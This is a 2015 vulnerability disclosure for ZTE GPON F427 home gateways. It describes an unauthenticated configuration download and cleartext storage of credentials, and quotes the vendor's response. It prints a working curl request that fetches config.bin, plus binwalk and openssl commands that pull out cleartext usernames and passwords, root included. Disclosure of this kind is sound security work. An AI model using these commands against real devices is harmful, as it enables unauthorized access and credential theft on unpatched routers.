ZTE GPON F427 and possibly F460/F600 - authorization bypass and cleartext password storage

[jerzy.patraszewski@xxxxxxxxx]

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Title: ZTE GPON F427 and possibly F460/F600 - authorization bypass and 
cleartext password storage
Author: Jerzy Patraszewski
Date: 10 July 2015 

Affected software :
===================
ZTE GPON:               F427
Version:                V3.0
Firmware Image:         F460_IMS_V2.30.10P1T6_JS1208


Description :
=============
ZTE ZXHN F427/460/660 are family of home gateways in ZTE FTTH solutions. By 
using the GPON technology, ultra-broadband access is provided for home and SOHO 
users. 
The F427 provides one EPON interface port, four Ethernet ports (RJ45), one 
Voice (RJ11) one USB 2.0 port and one Wi-Fi port 802.11b/g/n. 

There is very limited information available on network, however it seems, that 
these models differ mainly in amount and type of interfaces.

http://enterprise.zte.com.cn/en/products/network_lnfrastructure/broadband_access/xpon_olt/201401/t20140109_416587.html


Vulnerability :
*****************

Authorization Bypass on Device Config Manager page :
===================================================

Vulnerable URLs:
http://[device IP address]/manager_dev_config_t.gch
http://[device IP address]/getpage.gch?pid=100

Exploit :  

curl -s -k  -X 'POST' -H 'Content-Type: multipart/form-data; boundary=Sm0q' 
--data-binary $'Sm0q\x0d\x0aContent-Disposition 
form-data;name=\"config\"\x0d\x0aSm0q\x0d\x0a' 'http://[device IP 
address]/getpage.gch?pid=100' -o config.bin


Please note :
=-----------=
There is no authorization on http://[device IP 
address]/manager_dev_config_t.gch and from this page it is possible to download 
device configuration.
Actually this is done by issuing POST HTTP request to http://[device IP 
address]/getpage.gch?pid=100 as depicted by sample exploit.

When combined with other vulnerabilities, it is possible to proceed with 
further attacks, effectively leading to full compromitation of affected device.
Based on firmware image version and available publically information, it is 
possible that the same issue exists in whole family of products (F460 and 
F660), however it should be verified, as researcher has only access to F427.


References :
============

[https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management]
[https://cwe.mitre.org/data/definitions/285.html]


===================================================
Clear text password storage :
===================================================

Using authorization bypass it is possible to retreive config.bin (configuration 
dump) from affected device. From downloaded file it is trivial to extract XML 
file with clear text credentials of device users including 
Web Interface users and telnet users. Other information is also available.
 
Exploit :  
Download config.bin using manager_dev_config_t.gch, next run binwalk software 
with extract option:

binwalk -e config.bin


 This will extract ZLIB-compressed files. Using openssl command decompress zlib 
files. One of extracted files is an XML
with device configuration and cleartext usernames and passwords (including 
root).

openssl zlib -d < _config.bin.extracted/D8.zlib


Please note :
=-----------=
Based on firmware image version and available publically information, it is 
possible that the same issue exists in whole family of products (F460 and 
F660), however it should be verified, as researcher has only access to F427.


References :
============

https://cwe.mitre.org/data/definitions/312.html


Vendor response :
=================

PSIRT response:

- ---8<----
The vulns you found are known to us and to our product department, here are the 
countermeasures we take to deal with the vulnerabilities: 
1.The WAN side HTTP port is disabled in the releases after July 2012; 
2.Authorization bypass is fixed in newer versions after September 2014; 
3.Password encryption is strengthened in versions to release. 

Measures and situation regarding current on-line devices: 
1.Actions like Version Upgrade or Disable-WAN-Port are recommended to relative 
operators; 
2.Security hardening notices were released regarding current on-line devices; 
3.Due to the large amount of shipment and the EOS devices, there will be 
unpatched devices online for years. 
- ---8<----

and response to my request for providing updated firmware:
- ---8<----
We really want to help you to proceed your investigation but there are policies 
in the company and we can't just give you a firmware directly. 
- ---8<----

till today I didn't received updated version
 

Contact :
=========

Jerzy[dot]Patraszewski[at]gmail[dot]com


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